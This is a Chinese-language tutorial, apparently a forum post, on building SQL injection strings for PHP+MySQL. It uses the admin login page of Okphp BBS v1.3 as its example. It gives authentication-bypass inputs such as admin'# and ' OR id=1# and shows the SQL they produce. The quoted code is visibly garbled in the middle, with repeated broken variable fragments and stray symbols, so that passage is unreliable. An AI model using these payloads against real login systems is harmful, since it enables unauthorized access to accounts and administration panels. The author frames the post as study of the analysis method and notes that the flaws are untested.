一.前言:
版本資訊:Okphp BBS v1.3 開源版
下載位址:http://www.cncode.com/SoftView.asp?SoftID=1800
『 +MYSQL的注射比asp困難,尤其是注射時語句的構造方面更是個難點,本文主要是藉對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。 聲明:文章所有提到的“漏洞”,都沒有經過測試,可能根本不存在,其實有沒有漏洞並不重要,重要的是分析思路和語句構造。 二.「漏洞」分析: 1.admin/login.php注射導致繞過身份驗證漏洞: 代碼: $password = md5($password); $q = "select id,group_id from $user_table where username='$username' and password='$password'";🀎 $conn); $row = sql_fetch_row($res); $q = "select id,group_id from $user_table where username='$username' and password='$group_id from $user_table where username='$username' and password='$group'name='$Sname'sname='$Hname's'name='$'$Hname='$HnameHyname='$HnameS"$Hname='$Hname)*$'$'$H7; password 沒過濾, 很容易就繞過。 對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有: 建構1(利用邏輯運算):$username=' OR 'a'=' OR 'a' a $password=' OR 'a'='a 相當於sql語句: select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'=' a' 構造2(利用mysql裡的註解語句# ,/* 把$password註解掉):$username=admin'#(或admin'/*) 即:🀜 㟎
即:🀜 㟀 • name $names_nameSname $ ='admin'#' and password='$password'"
相當於:
select * from $user_table where username='admin'
在admin/login.php.前進行了md5加密所以不可以用構造1中的語句繞過。相當於:
select id,group_id from $user_table where username='admin'
只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對應的id,
$username=' OR id=1#
相當於:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#後的註解掉)
我們接著往下看程式碼:if ($row[0]) { // If not admin or super moderator if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { $login = 0; } else { $login = 1; } } // Fail to login--------------- if (!$login) { write_log("Moderator login","0","password wrong");